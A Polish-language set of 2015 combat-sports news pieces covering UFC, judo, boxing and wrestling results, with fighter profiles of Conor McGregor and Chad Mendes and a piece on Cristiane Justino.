Na gali UFC Fight Night 61 Mir wystąpił w walce wieczoru. Amerykanin już w pierwszej rundzie znokautował Antonio Silvę. Był to pierwszy krok na drodze do odbudowy. Podczas lipcowej gali UFC Mir potwierdził, że wraca do dobrej dyspozycji. Były mistrz świata wagi ciężkiej stanął oko w oko z Toddem Duffeem. Okazało się, że o siedem lat młodszy zawodnik nie był w stanie sprostać wiekowemu Mirowi. 36-latek potrzebował siedemdziesięciu trzech sekund, aby zakończyć pojedynek. Mir staranował swojego przeciwnika i mógł cieszyć się z drugiego zwycięstwa z rzędu. Amerykanin ponownie zakończył pojedynek przed czasem, co w przeciągu całej kariery zdarzało mu się rzadko. Mir królem nokautów nie jest, zaledwie 28% walk zakończył w ten sposób. 36-latek potrafi za to zmusić przeciwnika do poddania. Czy Mir im starszy, tym mocniejszy? Po raz kolejny cios Amerykanina okazał się skuteczny.

Holm po raz drugi

UFC bogate jest w wyraziste postaci. Barwną osobowość ma z pewnością Holly Holm, która podczas gali w San Diego odprawiła z kwitkiem Marion Reneau. 33-letnia Amerykanka walczyła w UFC po raz drugi i ponownie wygrała na punkty. Sędziowie jednoznacznie wskazali na Holm, jednak każdy inaczej ocenił pojedynek – 30-27, 30-26, 29-28. Amerykanka w MMA nie poniosła jeszcze porażki.

Efektownie w San Diego zaprezentował się Kevin Lee, który już w pierwszej rundzie zastopował Jamesa Moontasriego. Duszenie zza pleców okazało się skuteczne. Lyman Good dopadł Andrewa Craiga w parterze i nie pozwolił mu uciec. W drugiej rundzie 30-latek mógł cieszyć się ze zwycięstwa.

Wyniki gali UFC Fight Night 71:

265 lbs: Frank Mir pokonał Todda Duffeego przez KO
155 lbs: Tony Ferguson pokonał Josha Thomsona przez jednogłośną decyzję sędziów
135 lbs: Holly Holm pokonał Marion Reneau przez jednogłośną decyzję 
135 lbs: Manny Gamburyan pokonał Scotta Jorgensena przez jednogłośną decyzję 
155 lbs: Kevin Lee pokonał Jamesa Moontasriego przez poddanie 
170 lbs: Alan Jouban pokonał Matta Dwyera przez jednogłośną decyzję 

145 lbs: Sam Sicilia pokonał Yaotzina Mezę przez jednogłośną decyzję 
135 lbs: Jessica Andrade pokonał Sarę Moras przez jednogłośną decyzję 
135 lbs: Rani Yahya pokonał Masanoriego Kaneharę przez niejednogłośną decyzję 
170 lbs: Sean Strickland pokonał Igora Arauja przez jednogłośną decyzję 
185 lbs: Kevin Casey pokonał Ildemara Alcantarę przez jednogłośną decyzję 
170 lbs: Lyman Good pokonał Andrewa Craiga przez KO

KM

 

Ciężko w Tiumeniu

Igrzyska Europejskie w Baku dla judoków miały podwójny wymiar. Impreza była zarazem mistrzostwami  Europy. Dla polskich judoków nie były szczęśliwe, zabrakło zdobyczy medalowej. Kolejną ważną imprezą będą mistrzostwa świata w Astanie. Ale to dopiero w sierpniu.

Do startu w Astanie jeszcze miesiąc. Przed naszymi judokami ostatnie szlify, aby w Kazachstanie mogli zaprezentować się jak najlepiej. Jakub Wójcik (100kg) i Maciej Sarnacki (+100kg) sprawdzą swoją formę w Tiumeniu podczas turnieju Grand Slam.

Wszystko się może zdarzyć

Na obecną chwilę startu na mistrzostwach świata w Astanie mogą być pewni Łukasz Błach (81kg) oraz Maciej Sarnacki. Co do reszty zawodników trener Piotr Sadowski decyzji jeszcze nie podjął. Z pewnością przyjdzie mu to łatwiej uczynić po najbliższym weekendzie. W Tiumeniu wystąpią Wójcik i Sarnacki, a w Pucharze Europy w Sindelfingen zaprezentują się: Aleksander Beta, Paweł Zagrodnik, Damian Szwarnowiecki, Jakub Kubieniec, Damian Stępień i Patryk Ciechomski. Judocy mają więc, o co walczyć. Dobry występ może otworzyć im drzwi do wyjazdu na mistrzostwa świata.

W Tiumeniu miał zaprezentować się Łukasz Błach, ale kontuzja szyi wykluczyła jego udział w turnieju. Dwóch naszych reprezentantów wystąpi w Rosji. Obaj udział w Igrzyskach Europejskich zakończyli na 1/8 finału. Sarnacki w tym sezonie miał swoją wielką chwilę, kiedy to triumfował w Warszawie. Podczas Pucharu Świata w stolicy Polski nasz judoka wygrał wszystkie walki i mógł cieszyć się ze złotego medalu. W Warszawie o krok od podium był Jakub Wójcik, który przegrał rywalizację o brązowy medal. Jednak z każdym kolejnym miesiącem zawodnicy prezentowali się coraz słabiej. Sarnacki, który w poprzednim sezonie regularnie zajmował miejsca w czołówce, tym razem zgasł. Również Wójcik nie zbliżył się do wyniku z Warszawy.

Sarnacki nadal pozostaje najlepszym polskim judoką i nadzieją na medal olimpijski w Rio de Janeiro. W Tiumeniu będzie miał okazję sprawdzić, w jakiej dyspozycji jest na miesiąc przed startem w Astanie. Z kolei Wójcik musi się zaprezentować się jak najlepiej, aby znaleźć się w ekipie zmierzającej do Kazachstanu.

Później zgrupowania

Grand Slam w Tiumeniu to ostatni turniej rangi IJF Tour przed mistrzostwami świata. Nasi judocy nie pozostaną bierni, lecz będą intensywnie trenować, aby w Kazachstanie odkupić winy za słaby występ w Baku. W lipcu i sierpniu naszą kadrę czekają zgrupowania w Celje, Izoli, Cetniewie i Zakopanem.

Przed naszymi zawodnikami weekend, podczas którego będą walczyli o przepustkę na mistrzostwa świata w Astanie. Start w Kazachstanie będzie trudnym wyzwaniem dla naszej reprezentacji. Zawodnicy muszą zaprezentować się lepiej niż w Baku, gdzie nie zdobyli ani jednego medalu. Rok temu Katarzyna Kłys podczas mistrzostw świata zdobyła brązowy medal. Pierwszy dla Polski od jedenastu lat. To było światełko w tunelu, czy w Astanie zostanie zapalone ponownie?

KM

Krasnoludki na Sofię

Królewna Śnieżka była przez nich chroniona. Było ich dokładnie siedmiu. Tak jak i wspaniałych. Czy polscy bokserzy zawojują Sofię, gdzie w dniach 6-15 sierpnia odbędą się mistrzostwa Europy.

Trener reprezentacji Polski Zbigniew Raubo odkrył karty. Do Sofii pojadą Dawid Jagodziński (49kg), Dawid Michelus (60kg), Daniel Adamiec (64kg), Tomasz Jabłoński (75kg), Mateusz Tryc (81kg), Igor Jakubowski (91kg) i Paweł Wierzbicki (+91kg).

Bez Polskiego

Widoczny jest brak wśród powołanych brązowego medalisty Igrzysk Europejskich w Baku.  Z pewnością Mateusz Polski w kategorii 60kg gwarantowałby wysoki poziom, jednak jego w Sofii zabraknie. Po starcie w Baku bokser ma przerwę w treningach. Trener Raubo chciał, żeby Polski wystąpił w limicie 60kg, a wtedy w 64kg wystąpiłby Michelus, a w 69kg Adamiec. Niewykluczone, że za jakiś czas obaj na stałe przeniosą się do wyższych kategorii.

Trener Raubo stanął przed trudnym wyzwaniem ustalając kadrę na mistrzostwa Europy w Sofii. Wobec sankcji, które Polski Związek Bokserski nałożył na kilku zawodników szkoleniowiec miał ograniczony wybór. PZB podjął decyzję o zawieszeniu Macieja Jóźwika (52 kg), Sylwestra Kozłowskiego (56 kg), Kazimierza Łęgowskiego (64 kg), Mateusza Kosteckiego (69 kg), Kamila Gardzielika (75 kg) i Jordana Kulińskiego (81 kg) za niewłaściwe zachowanie podczas Igrzysk Europejskich w Baku.

W kategorii 81kg wybór trenera Raubo padł na Mateusza Tryca, który podczas mistrzostw Polski seniorów przegrał z Arkadiuszem Szwedowiczem. Podczas ostatnich sparingów okazał się od niego lepszy. W Sofii będzie miał sposobność, aby potwierdzić, że trener dokonał dobrego wyboru. Jeszcze przed wyjazdem do Bułgarii nasi bokserzy wystąpią w turnieju w niemieckim Halle.

Walka o przełamanie

Brązowy medal Mateusza Polskiego w Baku daje nadzieję. Nasi reprezentanci w Sofii powinni powalczyć o medale. Każde miejsce na podium będzie sukcesem wobec wcześniejszych doświadczeń naszych bokserów. Polska siedem lat czeka na medal mistrzostw Europy. Po raz ostatni na podium czempionatu Starego Kontynentu stanął Mateusz Łęgowski (64kg) w 2008 roku.

Z jednej strony zawodnicy walczą o medale, a z drugiej o szansę występu w mistrzostwach świata w Katarze. W kategoriach 49kg, 75kg oraz +91kg awans na imprezę uzyska po trzech najlepszych zawodników, więc Jagodziński, Jakubowski i Wierzbicki stają przed trudnym wyzwaniem. Inaczej jest w pozostałych limitach. W innych kategoriach udział w mistrzostwach świata będzie miało zapewnionych sześciu najlepszych zawodników.

Polscy bokserzy mają, o co walczyć. Mateusz Polski dał znak do ataku. W Baku sięgnął po brązowy medal. Czy jego koledzy pójdą za ciosem w Sofii? Być może Polski rozpoczął dobrą passę polskiego boksu. O tym przekonamy się dopiero w sierpniu. Nasi zawodnicy mają jeszcze ponad dwa tygodnie na dopracowanie szczegółów i szlifowanie formy przed mistrzostwami Europy.

KM

Młoda Polka z węgierskim brązem

Anna Załęczna spisała się na medal. Młodzi judocy rywalizowali w Pucharze Europy Juniorów i Juniorek w węgierskim mieście Paks. Załęczna spisała się najlepiej z reprezentantów Polski – wywalczyła brązowy medal.

W zawodach wzięło udział trzystu czterdziestu pięciu zawodników, z wyraźną przewagą wśród panów. Na Węgrzech zaprezentowało się dwustu czterdziestu dwóch judoków i zaledwie sto dwie judoczki. Niektóre kategorie nie były w pełni obsadzone.

Tylko jedna porażka

Anna Załęczna znajduje się w wyśmienitym nastroju. W końcu stanęła na podium Pucharu Europy. Medal mógł mieć inny kolor, ale młoda Polka przegrała jedną walkę. Załęczna nie miała dobrego wejścia w węgierski turniej i szybko mogła stracić nadzieje na sukces. Polka przegrała z reprezentantką Niemiec Renee Lucht, która triumfowała w kategorii +78kg. W repasażach Załęczna uporała się z Węgierką Reką Varga oraz Austriaczką Danielą Rainer, co pozwoliło jej stanąć na podium.

Nasza juniorka w Paks stoczyła zaledwie trzy walki. To niewiele. Załęczna wygrała dwa pojedynki i jeden przegrała, co w ostatecznym rozrachunku pozwoliło jej sięgnąć po brązowy medal. W kategorii +78kg rywalizowało zaledwie osiem zawodniczek, więc de facto wywalczenie miejsca na podium nie było trudnym zadaniem. Dwie wygrane walki gwarantowały już medal. Polka zrealizowała scenariusz i za to należą jej się wyrazy uznania. Zrobiła swoje, nie jest jej winą fakt, że w jej kategorii rywalizowała tak mała liczba zawodniczek.

Rosyjsko – niemiecki turniej

Rywalizacja wśród panów była zdecydowanie bardziej wyrównana. Judoków było zdecydowanie więcej, co pozwoliło stworzyć warunki do rozegrania zawodów na określonym poziomie, czego nie można powiedzieć o paniach. W kategorii 44kg wystartowały zaledwie … cztery zawodniczki. Najwięcej kobiet na tatami pojawiło się w 63kg – dwadzieścia jeden. Dla porównania, wśród panów najmniejsza ilość startujących zawodników to dziesięć (55kg), a największa – pięćdziesięciu sześciu (73kg).

W klasyfikacji medalowej triumfowali Niemcy, którzy wywalczyli łącznie osiem krążków. Takim samym dorobkiem mogą pochwalić się judocy z Rosji. Z tą różnicą, że Niemcy zdobyli trzy złote, dwa srebrne i dwa brązowe medale, a zawodnicy Sbornej na swoim koncie zapisali trzy złota, trzy brązy i jedno srebro. Tyle samo pierwszych miejsc wywalczyli Francuzi, jednak Trójkolorowi nie mają w swoim dorobku innych krążków.

Warto nadmienić, że w rywalizacji panów złotymi medalami podzielili się Niemcy, Rosjanie i Francuzi. Wśród pań rywalizacja była bardziej rozdrobniona i trudno wskazać nację, która zdecydowanie dominowała. Co prawda Słowenki wywalczyły dwa złota – w kategoriach 48kg i 57kg, co w połączeniu z dwoma srebrnymi medalami dało im czwarte miejsce w klasyfikacji medalowej. Kategoria 78kg została zdominowana przez Holenderki, które zajęły praktycznie całe podium, dołączyła do nich Węgierka Fanni Toth.

KM

Kareciński zdobył Madryt

Polski zapaśnik w stylu klasycznym okazał się najlepszy podczas Grand Prix Hiszpanii. Dawid Kareciński w kategorii 66kg w Madrycie nie pozostawił przeciwnikom żadnych złudzeń.

Polak szedł przez turniej jak burza. Jedynie w półfinale trafił na przeciwnika, który podjął wyrównaną walkę, jednak zawody w Hiszpanii należały do Karecińskiego.

Idealny start

W pierwszej walce polski zapaśnik trafił na Koreańczyka Ryu, który nie sprawił mu większych problemów. Kareciński okazał się zdecydowanie lepszy i obie rundy wygrał po 3:1. Jak się okazało Hansu Ryu w Madrycie wywalczył brązowy medal, co pokazuje, że polski zapaśnik od początku prezentował wysoką formę. Horigo Yuta był drugim rywalem Karecińskiego podczas hiszpańskiego turnieju. Na początek Polak dostał dwóch przeciwników z Azji, jednak nie było to dla niego żadnym wyzwaniem. Kareciński postawił wysokio poprzeczkę zawodnikowi z Kraju Kwitnącej Wiśni. Był skuteczny, uważny i precyzyjny. Dwie rundy na korzyść Polaka i pewne zwycięstwo.

W półfinale Kareciński trafił na zawodnika z Rosji. Nazir Abdullaev w ćwierćfinale odprawił z turnieju innego reprezentanta Polski – Grzegorza Wanke. Nasz zawodnik okazał się bezsilny w starciu z zawodnikiem z Rosji i wyraźnie przegrał – 0:6, 0:3. Kareciński chciał wygrać i walczyć o złoty medal, a przy okazji udowodnić Abdullaevowi, że polscy zapaśnicy prezentują wysoki poziom. Pierwsza runda bardzo wyrównana. Obaj zawodnicy czujni, jednak udało im się przeprowadzić akcje punktowe. Pierwsza odsłona zakończyła się remisem 2:2, więc wszystko miało rozstrzygnąć się w kolejnym rozdaniu. Kareciński okazał się lepszy, wygrał 3:1 i mógł walczyć o złoty medal.

Aram Julfalakyan z Armenii w półfinale nie pozostawił złudzeń Ismaelowi Navarro i pewnie awansował do finału. W decydującym pojedynku musiał mieć świadomość, że trafił na rywala w doskonałej dyspozycji. W Madrycie nikt nie był w stanie pokonać Karecińskiego. Polak był bardzo pewny siebie i pokonywał kolejne przeszkody. Julfalakyan przegrał obie rundy w stosunku 1:3. Kareciński sięgnął po złoty medal. Na siódmym miejscu rywalizację w kategorii 66kg zakończył Grzegorz Wanke.

Blisko podium

W kategorii 75kg z dobrej strony zaprezentował się Arkadiusz Kulynycz. Polak wygrał pierwszą walkę, ale w kolejnej musiał uznać wyższość zawodnika z Armenii. Arsen Julfalakyan w Madrycie okazał się przekleństwem Polaków. W ćwierćfinale wyeliminował Dawida Klimka, choć pierwsza runda była wyrównana i zakończyła się remisem. Reprezentant Armenii w drugiej rundzie przystąpił do ataku, co dało mu zwycięstwo – 5:0. Ostatecznie Julfalakyan w Madrycie zajął drugie miejsce.

Kulynycz bardzo dobrze poradził w repasażach, gdzie wygrał dwie walki. W jednym z pojedynków pokonał Dawida Klimka, jednak nie zdołał uporać się z Turkiem Srefem Tufenkiem. Ostatecznie Kulynycz uplasował się na piątym miejscu, dwa miejsca niżej znalazł się Klimek, a Jacek Tomaszewski był dwunasty.

KM

Conor McGregor

Irlandzki zawodnik MMA urodzony 14 lipca 1988 roku  w Dublinie. W MMA zadebiutował 9 marca 2008 roku na lokalnej gali w Dublinie, pokonując Gary’ego Morrisa przez TKO. Pierwszą zawodową porażkę zanotował 28 czerwca tego samego roku, przegrywając  przez poddanie z Artemijem Sitienkowem. 9 października 2010 roku uległ Josephowi Duffy’emu na gali Cage Warriors 39, poddając się wskutek duszenia.  Od 2011 do 2012 roku stoczył osiem wygranych pojedynków, oraz został mistrzem Cage Warriors w dwóch kategoriach wagowych piórkowej (02-06-2012) oraz lekkiej (31-12-2012), pokonując Dave’a Hilla i Ivana Buchingera. Po sukcesach w Irlandii, w 2013 roku podpisał kontrakt z UFC.  Dla UFC zadebiutował 6 kwietnia 2013 roku na gali UFC on Fuel, na której znokautował Marcusa Brimagea. Za ten nokaut otrzymał bonus za „ nokaut wieczoru”. 17 sierpnia 2013 roku wygrał na punkty z Maxem Hollowayem, mimo iż od drugiej rundy walczył z uszkodzonym więzadłem krzyżowym przednim. 19 lipca 2014 roku stoczył wygrany pojedynek w walce wieczoru w swoim rodzinnym Dublinie, pokonując Diego Brandao przez TKO w pierwszej rundzie.  18 stycznia 2015 roku pokonał Niemca Dennisa Sivera przez TKO w drugiej rundzie.  Po tym zwycięstwie otrzymał szansę walki o pas wagi piórkowej z Jose Aldo.  Do walki o pas miało dojść 11 lipca 2015 roku, lecz na dwa tygodnie przed galą mistrz Aldo złamał żebro podczas jednego z treningów i musiał wycofać się z pojedynku. Ogłoszono zastępstwo w postaci Chada Mendesa, a stawką było tymczasowe mistrzostwo. McGregor pokonał Mendesa przez TKO w drugiej rundzie. 12 grudnia doszło do starcia z Jose Aldo. McGregor potrzebował zaledwie 13 sekund żeby znokautować mistrza wagi piórkowej i zdobyć upragniony tytuł. 5 marca 2016 roku na gali UFC 196 Conor McGregor zmierzył się w walce wieczoru z Nate'em Diaz'em. Irlandczyk przegrał z Amerykaninem przez duszenie zza pleców w drugiej rundzie. 

Chad Mendes

Amerykański zapaśnik i zawodnik MMA urodzony 1 maja 1985 roku w Hanford. W MMA zadebiutował 26 września 2008 roku wygraną walką z Giovannim Encarnacionem.  Kolejne cztery walki to cztery wygrane, które zaowocowały kontraktem z World Extreme Cagefighting.  W 2010 roku dla tej organizacji stoczył cztery wygrane pojedynki.  5 lutego 2011 roku Chad Mendes stoczył swój pierwszy pojedynek dla UFC. W debiucie dla największej organizacji MMA na świecie, Chad jednogłośnie na punkty pokonał Japończyka Michihiro Omigawę.  Po kolejnym zwycięstwie nad Ranim Yahya, 14 stycznia 2012 roku na gali UFC 142 doszło do walki o pas mistrzowski z Brazylijczykiem Jose Aldo. Chad przegrał ten pojedynek przez nokaut w pierwszej rundzie. Po tej porażce Chad Mendes stoczył pięć wygranych pojedynków by 24 października 2014 roku dostał szanse kolejnej walki o pas mistrzowski.  Tym razem również to Brazylijczyk okazał się lepszy, i po pięciu rundach sędziowie wskazali go wygranym. 11 lipca 2015 roku Chad Mendes w zastępstwo za kontuzjowanego mistrza wagi piórkowej stanął do walki o tymczasowy pas mistrzowski z wschodzącą gwiazdą UFC Conorem McGregorem. Jednak i tym razem Mendes przegrał przez TKO w drugiej rundzie. 11 grudnia 2015 roku Mendes przegrał w pierwszej rundzie przez nokaut z Frankie Edgarem. 

Tymczasowy McGregor

Irlandczyk nie ukrywa swoich wielkich aspiracji. Conor McGregor chce być mistrzem i najlepszym fighterem na świecie. Podczas gali UFC 189 w Las Vegas zawodnik z Irlandii wywalczył tytuł tymczasowego czempiona wagi piórkowej.

McGregor już spogląda w kierunku Jose Aldo i chce udowodnić swoją wyższość. Z Brazylijczykiem miał zmierzyć się w Las Vegas, jednak ten z powodu kontuzji musiał zrezygnować z walki. Szansę rywalizacji z McGregorem otrzymał Chad Mendes.

Irlandczyk zrobił swoje

Faworyt był tylko jeden. Nie mogło być inaczej. McGregor przyzwyczaił fanów MMA do tworzenia wielkich widowisk. Nie tylko w oktagonie, ale i poza nim. McGregor potrafi zwrócić na siebie uwagę i świetnie radzi sobie jako mówca. Jego osobowość pozwala przekraczać mu granice, dzięki czemu bardzo szybko wspina się na szczyt. Osobowość to jedno, umiejętności sportowe to drugie. McGregor ma ogromny potencjał, co zdążył już nie raz udowodnić.

Chad Mendes nie zamierzał spoczywać na laurach. Amerykanin po raz kolejny miał okazję rywalizować o mistrzowski pas. Stawką starcia z McGregorem był tymczasowy pas w wadze piórkowej. Mendes to doświadczony fighter, którego przekleństwem jest Jose Aldo. Brazylijczyk pokonał dwukrotnie 30-letniego zawodnika z Kalifornii, czym pozbawił go szans na tytuł  mistrzowski. Mendes doskonale wiedział, że wygrana w konfrontacji z McGregorem da mu szansę rywalizacji z Aldo. Amerykanin liczył na możliwość rewanżu na brazylijskim mistrzu. Problem w tym, że na starcie z zawodnikiem z Kraju Kawy oczekuje McGregor. Zatem w Las Vegas spotkali się dwaj fighterzy, dla których wspólnym mianownikiem stał się pojedynek z Aldo.

Rozpoczęło się od wielkiego show. Zawodników przed rozpoczęciem walki wspierały gwiazdy, które odśpiewały ich „wejściówki”. Sinead O’Connor wykonała utwór dla McGregora, a Aaron Lewis dla  Mendesa. Pierwszy gong i ruszyli na siebie. Właściwie to Mendes na McGregora. Niespodzianka? Przez długi czas wisiała w powietrzu. Mendes wykorzystywał swoją wyższość w parterze i skutecznie neutralizował atuty swojego rywala. Wydawało się, że McGregor jest na straconej pozycji, jednak w drugiej rundzie nastąpił przełom. Na kilkanaście sekund przed końcem Irlandczyk podniósł się i posłał Mendesa na deski. Wystarczyła chwila, żeby McGregor pokazał swój fenomen.

Niepokonany

Czy Irlandczyk wie jak smakuje porażka? Wie, ale czy pamięta. W swojej karierze McGregor poniósł dwie porażki. Po raz ostatni przegrał w listopadzie 2010 roku, a było to na gali CWFC 39, kiedy to Irlandczyka pokonał Joseph Duffy. Walka zakończyła się w trzydzieści osiem sekund.

Od tego momentu minęło prawie pięć lat, a McGregor odniósł czternaście zwycięstw z rzędu. Upomniała się o niego UFC, w której robi furorę. Pięć walk i pięć wygranych, w tym cztery przed czasem. W UFC tymczasowy mistrz wagi piórkowej pozostaje niepokonany. McGregor jest niesamowity -89% pojedynków zakończył dzięki precyzji swojego ciosu.

KM

Czagajew rozbił Pianetę

Po rocznej przerwie na ring powrócił Rusłan Czagajew. 34-letni Uzbek szybko i efektownie rozprawił się z Francesco Pianetą.

Rok temu Czagajew walczył z Fresem Oquendo i wygrał niejedno głośnie na punkty. Obaj pięściarze mają się spotkać po raz drugi. Uzbek czekał aż rok, żeby pojawić się na ringu. W Magdeburgu 34-letni pięściarz wagi ciężkiej zmierzył się z Francesco Pianetą.

Szybkie zwycięstwo

30-letni pięściarz z Gelsenkirchen przystępował do pojedynku z Czagajewem po trzech zwycięstwach z rzędu. Pianeta w maju 2013 roku został zastopowany przed Władimira Kliczko, który zakończył pojedynek w szóstej rundzie. 30-latek konsekwentnie walczył, aby dostąpić zaszczytu walki o najwyższe cele. W 2009 roku włoski Niemiec zremisował z Albertem Sosnowskim w pojedynku o mistrzostwo Europy. Pianeta świetnie spisywał się w 2012 roku, kiedy zapisał na swoim koncie cztery zwycięstwa. Po pokonaniu Fransa Bothy i Nelsona Dario Domigueza stanął przed szansą na zdobycie mistrzostwa świata WBA, WBO, IBF i IBO, jednak Władimir Kliczko okazał się zbyt silny. W pojedynku z Mickaelem Vieirą wywalczył mistrzostwo Europy WBO.

Pianeta wrócił do gry o najwyższą stawkę. 30-latek liczył, że ponownie dostąpi zaszczytu walki o mistrzostwo świata. Rywalizacja z Rusłanem Czagajewem miała pokazać, na ile stać Pianetę. Dla Uzbeka również był to istotny pojedynek. W ringu w Magdeburgu stanęło dwóch ciekawych pięściarzy. Jeden znający smak mistrzostwa, drugi chcący go poznać.

Od początku pojedynek należał do Czagajewa. Uzbek nie zamierzał tracić czasu i od razu ruszył do ataku. Po mocnym ciosie 34-letniego pięściarza Pianeta padł na deski. Czagajew potrzebował zaledwie dziewięćdziesięciu sekund, aby położyć rywala. 30-letni Włoch wstał, ale był oszołomiony i nie mógł się odnaleźć. Czagajew czekał na moment, w którym będzie mógł zadać decydujący cios. Na osiemnaście sekund przed końcem ponownie dopadł Pianetę przy linach i dwoma sierpami posłał przeciwnika na deski. 30-letni pięściarz pochodzący z Kalabrii wstał, ale nie był w stanie kontynuować pojedynku. Sędzia przerwał walkę. Czagajew mógł cieszyć się z trzydziestego czwartego zwycięstwa.

Uzbek czeka na Oquendo

Panowie muszą się spotkać po raz drugi. W lipcu zeszłego roku na punkty lepszy okazał się Czagajew, ale Oquendo gorąco protestował. Portorykańczyk zdecydował się wejść na drogą prawną, aby walczyć o swoje. W efekcie doszło do wyznaczenia Oquendo jako obowiązkowego pretendenta do rywalizacji z czempionem WBA.

Warto zaznaczyć, że 42-letni od ostatniej potyczki z Czagajewem nie boksował. Uzbek ma 120 dni, aby zmierzyć się z Oquendo. Mistrz wagi ciężkiej na zawodowym ringu poniósł dwie porażki – z Władimirem Kliczko i Aleksandrem Povietkinem. Oquendo uważa, że w zeszłym roku został skrzywdzony, dlatego chce pokazać, iż jest lepszy od 34-latka. Zwycięzca pojedynku będzie musiał zmierzyć się z Lucasem Browne, który ma status obowiązkowego pretendenta do mistrzowskiego tytułu.

KM

Maryanyan dołączył do czołówki

Sukcesy na Igrzyskach Europejskich w Baku pomogły wielu zapaśnikom w stylu klasycznym poprawić swoje pozycje w światowym rankingu. Stepan Maryanyan (na zdjęciu) w kategorii 59kg awansował na czwarte miejsce.

23-latek sięgnął w stolicy Azerbejdżanu po złoty medal Igrzysk Europejskich. Dzięki temu w światowym rankingu awansował aż o piętnaście pozycji – z 19 na 4 miejsce. Najlepszym zawodnikiem w wadze 59kg pozostał Rosjanin Mingiyan Siemionow. Na czele klasyków w kategorii 66kg Davor Stefanek. Serb nie ma zamiaru oddawać pozycji lidera w światowym rankingu. W poprzednim roku Stefanek wywalczył złoty medal mistrzostw świata w Taszkiencie. Za nim w rankingu uplasowali się Han-Soo Ryu, Tamas Lorincz oraz Artem Surkow, który zanotował awans o dziewięć pozycji. Na 15.lokacie został sklasyfikowany Mateusz Bernatek.

Do niedawna Frank Staebler rywalizował w kategorii 66kg, jednak postanowił spróbować swoich sił w 71kg. W Baku wywalczył brązowy medal, co pozwoliło mu uplasować się na piątej pozycji w światowym rankingu. Kategorii 71kg przewodzi Rasul Chunayev. 26-letni Elvin Mursaliyev rozkręca się na dobre. W poprzednim sezonie reprezentant Azerbejdżanu udowodnił, że ma ogromny potencjał. Sukcesy mówią same za siebie. W mistrzostwach Europy w Vantaa sięgnął po brązowy medal, trzecie miejsce zajął również w mistrzostwach świata w Taszkiencie. Bezkonkurencyjny okazał się w Baku. Zloty medal w kategorii 75kg jest największym osiągnięciem w karierze Mursaliyeva, który w światowym w rankingu w kategorii 75kg znalazł się na 4.miejscu.  Pozycja lidera dla Kima Hyeona-Woo, który wyprzedził Arsena Julfalakyana oraz Romana Własowa.

Evgeni Saleev jest bezkonkurencyjny w kategorii 80kg. Wicemistrz świata jest liderem światowego rankingu. Z pewnością złoty medal w Baku potwierdził, że Rosjanin nie zamierza ustępować miejsca innym. Za nim znajdują się: Rafik Huseynov i Piotr Bacsi. Największy awans w 80kg zanotował Wiktor Sasunovski z Białorusi, który z 18.miejsca trafił na 6. David Chakvetadze najlepszy w kategorii 85kg. Reprezentant Rosji awansował na szczyt z 16.miejsca! Chakvetadze triumfował w Baku, gdzie uporał się z Zhanem Belenyukiem. W światowym rankingu Ukrainiec jest tuż za plecami Rosjanina. Melonin Noumonvi musiał pogodzić się ze stratą fotela lidera i wylądował na trzeciej pozycji.

Islam Magomedov już w czasach juniorskich prezentował się bardzo dobrze. Pochodzący z Dagestanu zapaśnik dwukrotnie był mistrzem świata i stał się wielką nadzieją rosyjskich zapasów w kategorii 98kg. W Igrzyskach Europejskich w Baku sięgnął po złoty medal, co miało wpływ na kształt światowego rankingu. Magomedov z 14.pozycji awansował na 2. Liderem w kategorii 98kg pozostaje reprezentant Armenii Artur Aleksanyan – brązowy medalista Igrzysk Olimpijskich w Londynie. Riza Kyalaap jest czołowym zapaśnikiem kategorii 130kg. W Baku reprezentant Turcji zdobył złoty krążek, a w światowym rankingu jest drugi. Pozycja lidera należy do doświadczonego Mijaina Lopeza, który jest złotym medalistą Igrzysk Olimpijskich w Londynie (120kg).

KM

Justino miażdży i szuka Rondy

Są takie nazwiska, które po prostu elektryzują. Ze względu na osobowości i osiągnięcia. Taką postacią bez wątpienia jest Cristiane Justino.

Popularna „Cyborg” wystąpiła na gali Invicta FC 13. Rywalką 30-letniej zawodniczki była Faith van Duin, która nie miała okazji zaprezentować swoich umiejętności. Justino załatwiła sprawę bardzo szybko. Nawet nie zmęczyła się.

Królowa z Kurytyby

Fighterka z Kraju Kawy ma element, który jest niezwykle istotny w każdym sporcie. Justino dąży do swojego celu i jest ściśle podporządkowana realizacji kolejnych zadań. Zawodniczka w każdym swoim występie pokazuje charakter, wolę walki i nieustępliwość, a zarazem jest niezwykle pewna siebie i wyważona. „Cyborg” skumulowała cechy, które są niezbędne na drodze do osiągnięcia sukcesu. Dodatkowym atutem Brazylijki jest fakt, że posiada wyrazistą osobowość. Nie kryje się ze swoimi planami i nakręca atmosferę, budując tym samym zainteresowanie swoją osobą. 30-letnia fighterka ma ogromny potencjał marketingowy i wszystko wskazuje na to, że nadejdzie właściwa chwila, kiedy go wykorzysta.

Przygoda Justino z MMA na dobre zaczęła się w 2005 roku. Dość pechowo. Brazylijka w debiucie przegrała już w pierwszej rundzie. Podczas gali SF-Showfight 2 sposób na Justino znalazła Erica Paes. Złe, dobrego początki. Teraz „Cyborg” jest ikoną kobiecego MMA i zmierza na szczyt.

Raz, dwa i po sprawie

Justino nie bawi się w rozpoznanie i wyczucie rywalki. Od razu przystępuje do ataku niczym głodna lwica, która upatrzyła sobie ofiarę. Rzuca się na bezbronną rywalkę i pozbawia ją szans na jakikolwiek ruch. Sprawy toczą się szybko, Brazylijka zwycięża.

Taki scenariusz miał miejsce podczas gali Invicta FC 13. Faith van Duin nie zdążyła celnie trafić rywalki, a pojedynek już się skończył. Zawodniczka z Nowej Zelandii przeżyła prawdziwy huragan ciosów. Justino niczym buldożer ruszała na van Duin i kolanami oraz pięściami zasypała swoją rywalkę. „Cyborg” potrzebowała czterdziestu pięciu sekund, aby zapisać kolejne zwycięstwo na swoim koncie. Kilka miesięcy temu z Chermaine Tweet uporała się w czterdzieści sześć sekund. Tym razem – miała lepszy czas. Do rekordu jednak trochę brakuje. W kwietniu 2009 roku Justino potrzebowała trzydziestu pięciu sekund, aby odnieść zwycięstwo w starciu z Hitomi Akano.

Gdzie jest Ronda?

Cały świat oczami wyobraźni widzi już starcie Rousey – Justino. Brazylijka wyraża gotowość podjęcia rywalizacji z czołową fighterką UFC, jednak jej zdaniem Amerykanka ucieka przed pojedynkiem. Wydaje się, że problem leży w innym miejscu. Kwestią podstawową jest ustalenie, w jakim limicie panie miałby rywalizować. Rousey walczy w 61kg, a Justino w 66kg. Ponadto, Brazylijka cały czas rozmawia z UFC, jednak nie może osiągnąć porozumienia.

Wydaje się, że byłoby to wielkie wydarzenie w MMA. Okazja, aby poznać prawdziwą królową i przekonać się, która osobowość jest silniejsza.

KM

Triumf Barana

